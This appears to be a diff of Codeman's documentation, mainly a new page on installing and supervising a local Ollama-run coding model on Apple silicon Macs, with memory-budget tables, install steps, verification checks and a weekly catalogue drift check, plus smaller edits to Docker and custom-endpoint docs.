⚠️ Clearing removes injected keys **by name**, and `CLAUDE_CONFIG_DIR` is one
of the names claude's selection injects — so a session that ALSO had
`CLAUDE_CONFIG_DIR` set through the generic `envOverrides` field (the
per-client-account case) loses that override on clear too, and silently
falls back to the server's default Claude account. If you route a session
to a specific account this way, re-apply the override after clearing a
custom-model selection from it.
A value the session set itself under an injected key comes back when the
selection goes, on a clear or a switch to another endpoint. That is what
keeps a session on its own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME`, and on
its own account through `CLAUDE_CONFIG_DIR` (the per-client-account case).
The launch model goes the same way: a clear relaunches on the model the session
was created with, or with none if it was created without one. A session an
older build launched straight onto an endpoint saved that endpoint's model in
its config, so its clear still relaunches on that id.
⚠️ Across a Codeman restart only the home directory comes back, and only as
an absolute path. The selection overwrote the tmux `setenv` that held it, so
its record in `state.json` keeps that one path (`ownEnv`), and a non-granted
owner loses it at recovery like any other privileged override. Any other own
value can be a credential and stays in memory: a session that set its own
`GEMINI_API_KEY`, picked an endpoint and then outlived a restart falls back to
the server's key on clear. A selection saved by an older build has no such
record, so its first clear still falls back to the server's default.
⚠️ That record only exists when the selection was made before the restart. An
own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME` on a session with no selection is
not persisted at all (a session's overrides keep only `CLAUDE_CODE_*` and
`CLAUDE_CONFIG_DIR`), so a Codeman restart leaves nothing to record: an
endpoint picked after it, and cleared later, falls back to the server's
default. `CLAUDE_CONFIG_DIR` does not have this gap.
**New sessions always default back to the harness's native backend.** A
custom-endpoint selection is a per-session choice, never a sticky global
@@ -642,6 +663,45 @@ each result. `scripts/test-local-llm-harnesses.ts` is the standalone script
used to check a harness against a real endpoint outside the web UI
entirely; see its own `--help` for usage.
## The endpoint store has one writer
`~/.codeman/custom-model-hosts.json` is written only through `mutateCustomModelHosts()`
(`src/custom-model-hosts-writer.ts`): the create, update, delete and discover routes, the
five-minute re-discovery sweep and the local model install all go through it.
- **One at a time.** Changes run on one queue, and the check a route makes ("this id is
free", "this endpoint still exists") runs in the same step as its write. Before, each
writer read the file, changed its copy and wrote it back on its own, all through one temp
file name: a route and the sweep, or two requests sent together, could lose each other's
change or fail outright.
- **Atomic.** A temp file with a random name beside the target, then a rename. Mode 0600.
- **A file that does not parse is refused, not replaced.** The writing routes answer
`409 CONFLICT` with the fix (repair or delete the file, or restore it from a config
backup) and leave it byte for byte. Before, such a file read as an empty list, and the next
save replaced every stored endpoint and its API key with one record. The message never
quotes the file, which holds keys.
The one direct writer left is config-backup restore, which must work on a file that does
not parse.
## The endpoint of the model on this Mac
Installing a local model from Codeman ([local-models.md](local-models.md)) saves one endpoint
with the reserved id `local-ollama` and the label "This Mac". It shows up in the list and in
the Run menu like any other endpoint. Three things are different:
- A new endpoint cannot be given the id `local-ollama`.
- While it is the endpoint the install manages, it cannot be edited or deleted here, and
"Discover" answers its stored model list without asking the runtime. Its model list must
stay the one model the install checked, and its address the port of the runtime Codeman
supervises. Change or remove it in the local model window.
- A session is started on it only while Codeman's own runtime is running and the model is
still the one that was installed (its digest is compared). Otherwise the launch answers
with one sentence.
An endpoint with that id that somebody made by hand, with no model installed by Codeman, is
an ordinary endpoint: it can be edited and deleted as before.
## Security note
Every env var this feature can set that redirects a session's traffic
+8 -1
View File
@@ -121,6 +121,13 @@ curl -X POST localhost:3000/api/quick-start -d '{"caseName":"sandbox","mode":"cl
## Attach to a container you already run
⚠️ Two different things are called "adopted". This section is about a CONTAINER
(`DockerCase.owned === false`). A tmux SESSION a human started inside a container is
listed by `GET /api/mux/foreign?docker=1` and wrapped by `POST /api/sessions/adopt`, for
which the container needs a Docker case but no adoption of its own. That one is
`Session.isAdopted`, with the connection on `Session.adopt.docker` and `session.docker`
undefined. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
The tab's **Attach to an existing container** toggle points a case at a container **you**
built and run. Codeman only ever `docker exec`s into it: it never creates, starts, stops,
restarts or removes it, and it seeds no credentials into it, so the CLIs inside must already
@@ -202,7 +209,7 @@ The host-gateway mapping, `CODEMAN_API_URL` derivation, host-guard allowlist, an
## Notes & limits
- Requires Docker (or Podman) with a reachable daemon; tmux must be present in the base image (a hard prerequisite, probed at link time).
- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead.
- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead. A `$` in that override expands inside the container, never on this host, and a bare `$VAR` in `extraCreateArgs`/`extraExecArgs` reaches `docker` as those literal characters, so write the value out.
- macOS Docker Desktop takes a dedicated uid path (the baked image uid; memory caps are subject to the VM ceiling).
Design + rationale: [`docker-cases-plan.md`](./docker-cases-plan.md).
+15 -10
View File
@@ -12,14 +12,25 @@ It can also include the GitHub CLI (`gh`) and the Azure CLI (`az`) with the `azu
## Prerequisites
- Docker Engine or Docker Desktop with Docker Compose v2
- A reachable Docker daemon
- Docker Engine or Docker Desktop with the Docker Compose v2 plugin, version 2.27.2 or newer
- A reachable Docker daemon, usable by your account without sudo (on Linux, membership of the `docker` group)
The application container mounts the Docker daemon socket so Codeman can create and manage its isolated Docker cases. Treat anyone who can administer this Compose project as having Docker-host-equivalent access.
## Start
Copy the environment template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example maps `/mnt/user/appdata/codeman` on the host to `/home/${CODEMAN_RUNTIME_USER}` in the container, preserving Codeman state and CLI credentials outside Docker-managed volumes.
On Linux, clone the repository and run the start script:
```sh
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run checks Docker, Compose and the daemon, then asks for a data folder (default `~/codeman-docker`), a port (default 3000, or the next free one) and a password (Enter generates one, shows it on your terminal and keeps it in `docker/.env`). It writes `docker/.env` from `docker/.env.example`, builds the image, starts the container and waits until Codeman answers, then prints the URL and how to sign in. `--yes` takes every default without asking, and `--setup-only` writes `docker/.env` and stops so it can be reviewed first. The full description, including the options, is the Start section of the [Docker deployment guide](../docker/README.md#start).
The data folder is mounted at `/home/${CODEMAN_RUNTIME_USER}` in the container, so Codeman state and CLI credentials stay on the host outside Docker-managed volumes. On every start the script determines `PUID` and `PGID` from the owner of that folder, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned data folder is rejected so the runtime account cannot become UID 0.
To write `docker/.env` by hand instead (Unraid and other root-only hosts, or Compose without the script), copy the template, set a strong password, and confirm `CODEMAN_APPDATA_PATH`. The example value `/mnt/user/appdata/codeman` is an Unraid layout.
```sh
cp docker/.env.example docker/.env
@@ -31,12 +42,6 @@ On PowerShell, use the following command instead.
Copy-Item docker/.env.example docker/.env
```
On Linux, run the stack with the start script. It determines `PUID` and `PGID` from the owner of `CODEMAN_APPDATA_PATH`, and `DOCKER_SOCKET_GID` from the configured Docker socket, before invoking Compose. A root-owned application-data directory is rejected so the runtime account cannot become UID 0.
```sh
bash docker/Start-Codeman.sh
```
On other platforms, run Compose directly. `PUID` and `PGID` default to `1000:1000`; set them in `docker/.env` when the application-data directory has a different owner. Naming the file with `-f` disables Compose's own discovery of `docker/docker-compose.override.yml`, so add a second `-f` for it when you keep one (see `docker/README.md`, Local customisation).
```sh
@@ -45,7 +50,7 @@ docker compose --env-file docker/.env -f docker/docker-compose.yaml up --build -
The container starts as root, corrects the ownership of a bind source the daemon had to create, and drops to `PUID:PGID` with `setpriv` before Codeman starts; the capabilities that needs are declared in `docker/docker-compose.yaml` and named by the entrypoint when a compose file written elsewhere lacks them.
Open `http://localhost:3000` and sign in with the username and password from `docker/.env`.
Open the URL the script printed (`http://localhost:3000` by default) and sign in with the username and password from `docker/.env`.
## Operations
+1 -1
View File
@@ -165,7 +165,7 @@ agent skill instead of teaching it these calls by hand: `skills/codeman` in the
(`npx skills add Ark0N/Codeman --skill codeman -g`, or `codeman skill install
[--case <name>] [--mode <mode>]`, or the synced `agentSkillEnabled` App Setting for
automatic per-case injection on session create, into the directory each CLI scans for
skills). The skill carries the guard, the safety rules, and verified
skills, on by default since 1.50.0). The skill carries the guard, the safety rules, and verified
wait/orchestration recipes.
If the caller speaks the Model Context Protocol (Claude Desktop, Cursor, Codex, any MCP
+1 -1
View File
@@ -114,7 +114,7 @@ history.
## Remote SSH cases
`grok` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'grok'`), because sshd's remote-command PATH does not include
(`remoteLoginShellCommand('grok')`), because sshd's remote-command PATH does not include
`~/.grok/bin`. Per-session config and `envOverrides` do not cross ssh and are rejected
rather than silently ignored; use the per-host command override instead. For auth on
the remote host, `grok login --device-auth` exists for exactly this.
+442
View File
@@ -0,0 +1,442 @@
# A model that runs on this Mac
Codeman can set up a coding model that runs on the Mac the server runs on: no account and
no API key, and the session's prompts and files go to a model on this Mac rather than a
cloud provider (the coding agent itself may still check for updates). One button on the welcome screen opens a window that
shows what fits this Mac, installs the choice and ends on a coding agent session that
runs on it.
**Experimental.** The routes and their payloads may change in any release
([versioning-policy.md](versioning-policy.md), "Experimental local model routes"). Apple
silicon macOS only: anywhere else the window says why nothing is offered.
This page is the reference for how it works. The HTTP contract is in
[api-reference.md](api-reference.md) ("Local model"). The rules that must not be broken are
in [architecture-invariants.md](architecture-invariants.md#local-model-install).
## Which model fits which Mac
The window offers the best model of the catalogue (`src/config/local-model-catalog.ts`) that
fits this Mac's memory at a context a coding agent can work with, and up to four more. What
the catalogue answers today, before the runtime measured anything (the budget is then an
estimate: 2/3 of the memory below 36 GB, 3/4 from 36 GB, less 1 GiB, and never more than the
memory less 6, 8 or 12 GiB for macOS, Codeman, a browser and the agent):
| Memory | Budget | What it gets |
| ---------------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 8 GB | 2.1 GB | Nothing. The smallest model a coding agent can work with needs 10.2 GB at 65,536 tokens |
| 16 GB | 10.4 GB | Nothing. MiMo V2.6 9B at 65,536 tokens needs 10.2 GB, 98.7% of the budget, just past the 98% a tight fit may reach (it is 95% of the 10.7 GB a 16 GB Mac mini measured). On the edge either way: only a run on such a Mac settles it |
| 18 GB | 11.8 GB | A small model (`limited`): MiMo V2.6 9B at 131,072 tokens, 11.4 GB, tight. Its base, Qwen3.5 9B, is the one alternative |
| 24 GB | 16.1 GB | The same, with room. On a base M2 or M3 (100 GB/s) it computes to 9.3 tokens per second: slow |
| 32 GB | 21.8 GB | The same. North Mini Code 1.0 needs 23.2 GB at 65,536 tokens; once the runtime measures about 3/4 of the memory, as it did on a 16 and a 48 GB Mac, the Mac gets it at 131,072 tokens, or Qwen3.8 27B at 65,536 tokens on a Max chip |
| 36 GB | 27.9 GB | Qwen3.8 27B at 131,072 tokens on an M4 or M5 Max (27.0 GB, 97%); on a slower chip, where the dense 27B computes to under 10 tokens per second, Qwen3.6 35B-A3B as a GGUF build (27.1 GB, 97%). Both tight |
| 48 GB | 37.6 GB | Qwen3.6 35B-A3B (MLX) at 131,072 tokens: the pair we tested, "Recommended" on an Apple M5 Pro with 48 GB. On a Max chip Qwen3.8 27B at 262,144 tokens (32.1 GB, tight). The test was a short task: in a long session MLX may keep up to 8 GiB more, which brings this pair to the edge of the budget, and past it while a long prompt is processed |
| 64 GB | 50.5 GB | Qwen3.8 27B at 262,144 tokens on a Max chip; Qwen3.6 35B-A3B (MLX) on a Pro chip |
| 96 GB | 76.2 GB | Qwen3.8 27B at 262,144 tokens; on an M3 Max, Qwen3.6 35B-A3B (MLX) |
| 128 GB | 102 GB | Ornith 1.5 122B-A10B (MLX) at 131,072 tokens, 97.4 GB, tight |
| 192, 256, 512 GB | 154 GB+ | Ornith 1.5 122B-A10B at 262,144 tokens |
"Tight" means the need is between 85% and 98% of the budget; above 98% a model is not
offered. A model that computes to under 10 tokens per second on the chip is "slow" and ranks
after the fast ones, which is why the chip changes the pick at 36 to 96 GB. Every model is
offered at the largest context it fits at, and never below 65,536 tokens: OpenCode's own
prompt is 8,000 to 10,000 tokens, and at 32,768 it would compact after less than one default
file read. `test/local-model-recommend.test.ts` ("every memory size") pins this table.
### How much memory a model needs
The need of a model is its peak: the weights, what stays held per token of context, what the
runner holds beside both, and what it takes for a moment while a long prompt is processed. The
runtime runs a model with one of two runners, which spend memory differently, so every row
names its runner (`runner`) and its figures follow that runner's rule:
- **llama.cpp** (GGUF builds, on Metal) allocates the K/V cache for the whole context when the
model loads and does not grow after that. The runtime is started with
`OLLAMA_KV_CACHE_TYPE=q8_0` (the cache in 8 bits, 17/32 of the default f16; the runtime's
own documentation calls the loss very small), `OLLAMA_FLASH_ATTENTION=1` (an 8-bit cache
needs it), `LLAMA_ARG_CACHE_RAM=1024` (llama-server keeps copies of earlier prompts, and
this bounds them to 1 GiB) and `LLAMA_ARG_CTX_CHECKPOINTS=8` (llama-server keeps copies of
the state it cannot roll back, two or three per request, up to 32 by default: 5 GB for the
27B; 8 keeps the last few requests, which is what an agent's next request restores from). A
row's figures are computed from its model's `config.json`: the K/V cache of its attention
layers, its recurrent or sliding-window state, live and in each of the 8 checkpoints, 1.0
GB for the runner and the 1 GiB prompt cache. A build with a multi-token-prediction layer
(the two `-mtp` tags and `qwen3.8:27b-q8_0`) costs more: the runtime turns prediction on,
so llama-server keeps that layer's cache in f16 and one more copy of the recurrent state for
rollback per drafted token (the tag's `draft_num_predict`: 2 for the 35B-A3B, 4 for the
27B). No peak: the buffers are allocated at load. The checkpoints and the
prediction costs were read in the llama.cpp source the runtime bundles (b12111), not
measured.
- **MLX** grows its cache with the tokens actually used, keeps snapshots of the recurrent
state, and may keep up to 8 GiB of snapshots of earlier prompts, which no setting bounds. A
Mac always takes the MLX build of a tag that has one. Below 48 GB that 8 GiB does not fit
beside a useful model, so the catalogue lists GGUF builds there.
Where every figure comes from:
| Model | Runner | Memory figures | Speed (tokens per second per 100 GB/s) |
| ---------------------------- | --------- | ----------------------------------------------------------------------------------- | --------------------------------------------------------- |
| `qwen3.5:9b-q4_k_m` | llama.cpp | computed from the Qwen3.5-9B config | 9.3: a published run on an M1 Max |
| `mimo-v2.6:9b-q4_k_m` | llama.cpp | the same (a fine-tune of Qwen3.5-9B) | 9.3: the same architecture and size |
| `north-mini-code-1.0:q4_k_m` | llama.cpp | computed from its config | 13.6: the 35B-A3B's, the same 3 billion active parameters |
| `qwen3.6:35b-a3b-mtp-q4_k_m` | llama.cpp | computed from the Qwen3.6-35B-A3B config, prediction layer included | 13.6: a published run on an M1 Max |
| `qwen3.6:35b-a3b` | MLX | **measured** on an Apple M5 Pro with 48 GB | 16.9: a published run; 67.7 measured on the tested Mac |
| `qwen3.8:27b-q8_0` | llama.cpp | computed from the Qwen3.8-27B config, prediction layer included | 1.7: the row below scaled by file size |
| `qwen3.8:27b-mtp-q4_k_m` | llama.cpp | computed from the Qwen3.8-27B config, prediction layer included | 2.95: a published run without prediction (a floor) |
| `ornith-1.5:122b` | MLX | computed from the Qwen3.5-122B-A10B config, scaled by the measured MLX row, + 8 GiB | 5.0: the 35B-A3B's, x 3/10 active parameters |
Sizes are what the registry serves a Mac for each tag (every layer plus the config), read on
2026-11-08. Only one row was ever run on a Mac, so every other answer in the table above is a
calculation. For a llama.cpp build the check after the download catches a load that was
judged too kindly, but not what grows after it in host memory (the checkpoints and the prompt
cache, which are counted, not checked); for an MLX build it catches neither (see "The check"
below). The measured row's figures come from single long prompts, not a session of many
requests, in which MLX may keep up to 8 GiB more. The catalogue header lists the models left out on
purpose (no evidence of working tool calls, a restrictive licence, a known bug) and why.
A new row needs its model's architecture (attention layers, K/V heads, head size, and its
linear-attention or sliding-window layers, from its `config.json`) in the table of
`test/local-model-catalog.test.ts`, which recomputes every computed figure from it and fails
for a row it does not know. Its answer for each memory size is then pinned in
`test/local-model-recommend.test.ts`.
## What an install does, in order
The person picks a model, presses "Install on this Mac" and confirms the sizes once. The
server then runs one job of five steps. The window polls `GET /api/local-model` once a
second; the job runs in the server, so the window can be closed.
| Step | What it does |
| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `runtime` | Downloads the pinned runtime, compares its hash, unpacks it, chooses a port once, starts it, reads the measured memory budget and judges the choice again |
| `model` | Downloads the model through the runtime |
| `verify` | Loads the model and checks it: one tiny chat, the memory and context the runtime reports, one tool call |
| `agent` | Installs the coding agent with its stock install command. Left out when the agent is installed |
| `connect` | Saves one model endpoint and switches the custom model endpoints setting on |
Every step can be repeated: Resume and "Try again" enter the step the job stopped in.
### The runtime
- **One pinned build.** Ollama 0.40.15 for macOS, a compiled constant
(`OLLAMA_RUNTIME_PIN` in `src/local-model/runtime.ts`): the URL, the size (185,971,671
bytes) and the sha256. No file, setting, environment variable or request can change which
binary is downloaded.
- **Download.** Streamed to `*.partial` while it is hashed. A cut stream is continued with a
Range request, at most three times. The hash is compared before anything is unpacked, and
a mismatch deletes the file. Unpacking is `/usr/bin/tar` into a temporary folder, then one
rename.
- **No administrator rights.** Everything lives in the data directory.
- **Supervised by Codeman.** The runtime is a non-detached child of the server: started at
boot once a model is installed and not stopped, restarted at most three times after a
crash, sent SIGTERM at shutdown. It is not a login item: it stops with Codeman, and a
leftover from a server that was killed is taken back at the next start (see below).
- **Its environment is an allowlist.** `PATH`, `TMPDIR`, `LANG` and the proxy variables are
copied from the server. `HOME` is a private folder. Exactly these are set:
`OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`,
`OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`,
`OLLAMA_MAX_LOADED_MODELS=1`, and four memory settings of the llama.cpp runner:
`OLLAMA_KV_CACHE_TYPE=q8_0`, `OLLAMA_FLASH_ATTENTION=1`, `LLAMA_ARG_CACHE_RAM=1024` and
`LLAMA_ARG_CTX_CHECKPOINTS=8` (see "How much memory a model needs" above). No `CODEMAN_*`
variable and none of the user's own `OLLAMA_*` or `LLAMA_ARG_*` settings reach it.
- **The port is chosen once**, by binding, from 11435 across 20 ports, and stored. 11434 is
left alone: it is the default of a runtime the user may run themselves, which is never
touched.
- **An orphan is recognized.** The pid and the port are stored. At boot a listener on the
port that answers `/api/version` and whose pid runs a binary under Codeman's runtime folder
is Codeman's own leftover from a server that was killed: it is adopted or replaced. Any
other listener is "Port 11435 is in use by another program", with "Use another port" as
the way out.
### The memory budget is measured
Before the runtime exists the budget is an estimate from the installed memory. Right after
it starts, the runtime prints the device total in its log line "inference compute"
(`total="37.4 GiB"` on a 48 GB MacBook). Codeman reads that line, stores the figure and
judges the chosen model against it before a byte of the model is downloaded. A model that no
longer fits ends the job there with "does not fit" and the next model to try. From then on
the window shows the measured budget and the word "estimated" is gone.
The need of a model is its peak (see "How much memory a model needs" above).
### The model download
`POST /api/pull` with `stream: true`. A 23 GB pull sends about 1.4 million progress lines,
so the stream is parsed piece by piece and never kept. Cancel aborts the request, which
stops the download. Resume pulls again and the runtime continues its partial files. An error
line or a cut stream is retried up to five times. Once the pull reported its total, every
size shown for the model is that total.
### The check
After the pull, in this order:
1. One tiny chat with `reasoning_effort: "none"`. It loads the model.
2. `GET /api/ps` must show the whole model on the GPU (`size_vram` equal to `size`) at the
chosen context length. For a llama.cpp build both figures are the buffers llama-server
reports allocating (weights, K/V cache, compute), so this proves the whole load is on the
GPU. For an MLX build it proves only the weights: the runtime books an MLX model at its
weights (runtime issue 19417), so for those rows the catalogue's figures are all there is.
3. One tool probe on `/v1/chat/completions` (a `tools` array, `reasoning_effort: "none"`,
`max_tokens` 1024). It passes on a tool call whose arguments parse.
A failure is a state with a code and one next step, never a bare "failed": `does-not-fit`
and `no-tool-call` offer the next model, `probe-unfinished` (the token limit ended the
probe, so it proves nothing) and `load-failed` offer "Try again". The digest the runtime
reports for the model is stored when the check passed.
### The coding agent
When the chosen coding agent is not installed, the job installs it with the CLI registry's
own stock install command, through the same runner as App Settings > CLIs
(`src/cli-install-runner.ts`). The rules:
- Only a CLI that is a harness row of the local model catalogue.
- Only the **compiled** stock command. A `~/.codeman/clis.json` override cannot change what
runs here.
- Only after the person's consent click, on a screen that showed the literal command.
- Admin only in multi-user mode, and written to the admin audit log (`cli_install`, with
`via: "local-model"`).
- One installer per CLI at a time, shared with App Settings: while one runs, the other
answers that it is busy.
- Afterwards the cached lookups of the CLI's binary are forgotten and the binary is looked
for again. Still missing is the failure `harness-failed`, with the installer's last lines.
This step does not need the `cliManagementEnabled` setting. That setting gates the general
CLI management surface; this path can only ever run one vetted command for one catalogue
row.
### The connection
Two writes outside the local model folder, both undone by Remove:
1. One record in `custom-model-hosts.json`:
```json
{
"id": "local-ollama",
"label": "This Mac",
"baseUrl": "http://127.0.0.1:11435",
"authStyle": "bearer",
"models": ["qwen3.6:35b-a3b"],
"defaultModelId": "qwen3.6:35b-a3b",
"defaultContextLength": 131072
}
```
`defaultContextLength` is the chosen context: the runtime's model listing states none, so
this field is what reaches the coding agent as its context limit.
2. `customModelEndpointsEnabled: true` in `settings.json`. The value it had before is kept
in the state file.
The id `local-ollama` is reserved. A new endpoint cannot take it, and a record with that id
that this feature did not write is never overwritten: the install says so before anything is
downloaded. While the record is the managed one it cannot be edited or deleted in App
Settings and the five-minute discovery sweep leaves it alone, so its model list stays the
one model the install checked.
Switching the setting on also starts that five-minute sweep for every other saved endpoint.
## Starting a session
"Start a session" starts the coding agent on the endpoint `local-ollama` through the
existing custom model launch. Before a coding agent is STARTED on that endpoint the server
checks, in this order:
- the runtime child Codeman started is alive (whatever else answers on the port is not
ours);
- the digest the runtime reports for the installed model is the one stored at install time;
- the model asked for is the one that was installed and checked.
That check runs wherever a new agent process comes to be on the endpoint: a session created
with the model, a model applied to a running session (which restarts its agent), the attach
that starts an agent in a session that has none or whose agent exited, and the rebuild of a
session after a reboot (that entry is skipped with "the local model is not ready" and stays
on offer). An agent that is already running when Codeman restarts is not started by
Codeman, so it is not asked: it keeps running on its port, see below.
A different digest refuses the launch: "The model on this Mac changed since it was
installed. Remove it and install it again." The digest is also read again at boot and when
the runtime is started.
### From a Claude Code session: cloud plus local
The codeman skill ([`skills/codeman`](../skills/codeman/SKILL.md#claude-in-the-cloud-a-local-model-on-this-mac))
lets an agent in a Codeman session hand work to this model, so Claude in the cloud plans and
reviews while the model on this Mac does the bulk: summaries, classification, first drafts, and
files that should not leave the machine. `local_model` reads `GET /api/local-model` and says what
is installed or why nothing can run; `spawn_worker <name> local` starts the runtime when it was
stopped (as Start does), then starts the installed coding agent on `local-ollama` through the same
quick-start launch and the same checks as above; `sendmark` gives the worker a task and reads its
answer back from a file it writes in its own folder. The skill never installs a model and never
answers a confirmation, the runtime still answers one request at a time, and while a worker it
opened is live, Stop and Remove are refused until it is closed.
## Stop, Start, Remove
- **Stop** stops the runtime and keeps it from starting at the next boot. **Start** undoes
that.
- **Remove** stops the runtime, removes the endpoint record, switches the setting off again
only when this feature switched it on and no other endpoint is saved, and deletes the
runtime and its private home. The downloaded model is deleted only when asked. The coding
agent stays. While a live session uses the model, Remove answers with the session names
instead.
## Where everything is
All under the data directory (`~/.codeman`, or the instance's own):
```
local-model.json the state file (mode 0600)
local-model/
runtime/ollama-0.40.15.tgz.partial the runtime archive while it downloads
runtime/ollama-0.40.15/ the unpacked runtime (about 579 MB)
models/ the model store
home/ the runtime's private HOME (its key pair is here)
```
Nothing is written or deleted outside `local-model/` except the state file beside it and the
two writes of the connection. The state file holds no path, so it can never point a delete
somewhere else. The user's own `~/.ollama` is never created, read or removed.
`local-model.json` is not part of a config backup. `custom-model-hosts.json` and
`settings.json` are, so restoring an older backup can take the endpoint record away while
the model stays installed. The record is put back the next time Codeman starts (the setting
is left as the backup had it). A restore can also bring a record back after a Remove: it
then points at a port nothing listens on, is an ordinary endpoint again, and can be deleted
in App Settings.
## The job's states
| State | A server restart | Cancel | What can be done |
| ------------ | ------------------------------------------------------------- | ---------------- | -------------------------------------- |
| `idle` | stays idle | refused | install |
| `installing` | becomes `paused` at the same step | becomes `paused` | cancel |
| `paused` | stays paused | refused | resume, install, remove |
| `failed` | stays failed, same error | refused | resume, install, remove |
| `installed` | stays installed; the runtime is started unless it was stopped | refused | start a session, stop or start, remove |
One job at a time. A job a server restart interrupted comes back paused and never continues
without a click. Cancel interrupts the step in flight (the download, the pull, the request,
the installer's process group); in the last step it is honoured before the first write, and
once the two writes began they finish.
## On a Mac without developer tools
Coding agents call `git` and `python3`. On a Mac without Xcode or the Command Line Tools
those are stubs that open macOS's "install the command line developer tools" window. So the
window says one sentence wherever the person commits or finishes, and only when
`/usr/bin/xcode-select -p` fails:
> Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer
> to install them the first time an agent needs one.
Codeman itself only ever runs `/usr/bin/xcode-select -p` for this, bounded, and never `git`
or `python3`.
## What to know before relying on it
- **The runtime's port has no login.** Any program on this Mac, and any web page served from
`localhost`, can use the model server and change its models. That is why the endpoint
record lists one model, why the sweep leaves it alone, and why the digest is compared
before a session starts.
- **A Codeman restart stops the runtime.** A session that is mid-answer on the local model
loses that answer. The runtime is started again with the server, and the first request
loads the model again (seconds).
- **An open session keeps calling the runtime's port.** The coding agent was given the
address when it started. While the runtime is stopped, or for the seconds of a Codeman
restart, its requests go to a port nothing of ours holds, and any program on this Mac could
bind that port and answer them. That is why Stop and "Use another port" are refused while
a session uses the model: close those sessions first.
- **The runtime does not enforce the context length.** A prompt longer than the context was
accepted in testing. Do not rely on the runtime to stop one.
- **Most memory figures are calculated, not measured.** One model was run on one Mac; the
others are computed from their architecture, and the runtime settings they assume (an 8-bit
K/V cache, flash attention, a 1 GiB prompt cache) were read in its source, not yet observed
on a Mac. "Recommended" appears only for the pair we ran, on the Mac we ran it on.
- **The model stays in memory for ten minutes** after the last request, then the runtime
unloads it.
## Keeping the catalogue current
The catalogue (`src/config/local-model-catalog.ts`) and the runtime pin are compiled into
Codeman on purpose: no file or download decides what is recommended or run. What the
registry serves can still move away from them: a tag is pushed again or removed, the build
a Mac downloads changes size, Ollama ships a new version. The workflow
`.github/workflows/local-model-catalog.yml` looks for that every Monday at 06:00 UTC. It
runs `scripts/check-local-model-catalog.mjs`, which also runs locally:
`npm run check:local-model-catalog` prints the report and exits 0 (clean), 1 (drift) or 2
(the check itself failed).
For every model row it checks:
- **The tag still exists** in the registry.
- **The size of what a Mac downloads** is within 0.1% of the row's `bytes`. A tag can be a
manifest list with one build per runner, and Ollama on Apple silicon takes the `mlx` build
when there is one, else `llamacpp`, else `ggml`. So the check asks for the tag the way
Ollama asks, picks the build a Mac picks and sizes it the way a pull counts it (every layer
plus the config). The plain manifest other tools get for the same tag is the `llamacpp`
build, which is not what a Mac downloads.
- **The runner of that build**, once a row names its `runner`: a Mac still pulls an `mlx`
build for an `mlx` row and a GGUF build (`llamacpp`, or a manifest that names no runner)
for a `llamacpp` row. A row's memory figures follow its runner, so a tag that gains or
loses an mlx build is drift even at about the same size.
- **The build a Mac pulls runs on the pinned runtime**: its config declares no newer
Ollama (`requires`) than `OLLAMA_RUNTIME_PIN`.
- **The pinned digest**, once a row carries one: a Mac would still pull that manifest. The
field is `digest` and its value is what `/api/tags` reports after the pull. The catalogue
schema does not have it yet: `LocalModelEntrySchema` must gain an optional `digest` under
exactly that name, or the check never compares it. Until then the report lists today's
digests, rows with measured figures first, because without a digest a rebuild of about the
same size goes unnoticed (a switch between the mlx and the gguf build does not: their sizes
differ by 2% or more). Pinning digests is a decision, not a quick fix: today the catalogue
holds no digest on purpose, and `test/local-model-catalog.test.ts` ("holds no download
data") refuses a `sha256` anywhere in it, so that rule changes with it.
For the runtime pin it checks whether a newer Ollama release exists, and whether the pinned
`ollama-darwin.tgz` is still on GitHub with the pinned size and sha256.
It reads manifests and configs only, never a model layer. It does not check the memory
figures, the speeds or whether a coding agent works with a model: no manifest says anything
about those, and they change only when somebody measures on a Mac.
**The issue.** Drift opens one issue, "Local model catalogue: weekly check", or, while that
issue is open, replaces its description with the new report and adds a comment. A clean week
comments on the open issue and does nothing when there is none. A check that failed (the
network, a rate limit, an answer that did not parse) fails the run and leaves the issue
alone; what it found is in the run's summary. The schedule runs the copy of the workflow on
`master`, and so does `gh workflow run local-model-catalog.yml`.
**What a maintainer does with it**, in a pull request each time:
- **Size drift or a changed digest**: correct the row. When the build itself changed (another
runner or quantization), its memory figures and speed no longer describe it: mark the row
`estimated` until somebody measures it again.
- **A tag that is gone, or a build that needs a newer runtime**: replace or drop the row, or
move the runtime pin first.
- **A newer Ollama**: read its release notes, then move `OLLAMA_RUNTIME_PIN` (version, URL,
size and sha256, checked against the release's `sha256sum.txt`) and run an install on a
Mac before merging.
- **A pinned archive that changed**: a security question first. Every install refuses it at
the hash compare, so nobody gets it, but find out why before moving the pin.
Close the issue once the fix is merged. A catalogue or pin change reaches users only in a
release: an installed Codeman keeps the catalogue it was built with until it is updated.
## Source
| What | Where |
| ---------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| Hardware probe, catalogue, recommendation | `src/local-model/hardware.ts`, `src/config/local-model-catalog.ts`, `src/local-model/recommend.ts` |
| Runtime pin, download, environment, supervisor | `src/local-model/runtime.ts` |
| Runtime HTTP client, pull parser, checks | `src/local-model/ollama-client.ts` |
| Developer tools check | `src/local-model/developer-tools.ts` |
| Job (state table, reducer, view, service) | `src/local-model/install-job.ts` |
| State file | `src/local-model/state-store.ts` |
| Connection and its undoing | `src/local-model/connect.ts` |
| Paths | `src/local-model/paths.ts` |
| Routes | `src/web/routes/local-model-routes.ts` |
| Shared CLI install runner | `src/cli-install-runner.ts` |
| Serialized writer of the endpoint store | `src/custom-model-hosts-writer.ts` |
| Weekly catalogue check | `scripts/check-local-model-catalog.mjs`, `.github/workflows/local-model-catalog.yml` |
